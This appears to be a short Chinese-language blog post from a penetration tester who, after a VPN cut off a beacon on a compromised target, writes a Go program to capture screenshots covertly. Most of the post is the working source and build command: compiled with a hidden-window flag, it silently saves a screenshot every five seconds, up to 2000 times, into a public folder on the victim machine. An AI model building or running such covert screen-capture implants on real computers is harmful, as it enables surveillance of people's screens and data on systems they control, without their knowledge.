开发背景

今天好兄弟打项目时候碰到这么一个情况,目标机器访问内网应用需要连接VPN,会切断外网连接,导致beacon无法及时执行回显命令

image-20240516174845711

为了证明能够突破隔离,需要目标机器访问内网应用的截图,于是简单写了下,当作记录

代码实现

go build -trimpath -ldflags="-s -w -H windowsgui" main.go

为了避免后续beacon掉线导致进程一直执行,需要设置生成次数限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main

import (
"fmt"
"image/png"
"os"
"path/filepath"
"time"

"github.com/vova616/screenshot"
)

func main() {
//路径
savePath := "C:\\Users\\Public\\test"
screenshotFolder := filepath.Join(savePath, "screenshot_%s.png")

if _, err := os.Stat(savePath); os.IsNotExist(err) {
err := os.MkdirAll(savePath, 0755)
if err != nil {
panic(err)
}
}

// 次数限制
limit := 2000
var count int

for count < limit {
img, err := screenshot.CaptureScreen()
if err != nil {
panic(err)
}

fileName := fmt.Sprintf(screenshotFolder, time.Now().Format("20060102_150405"))

f, err := os.Create(fileName)
if err != nil {
panic(err)
}
defer f.Close()

err = png.Encode(f, img)
if err != nil {
panic(err)
}

count++

// 每隔5秒执行一次截图
time.Sleep(5 * time.Second)
}

fmt.Println("已达到截图次数限制")
}

实现效果

运行后会在 C:\\Users\\Public\\test 目录下,按照设置的间隔时间生成截图

image-20240516174510462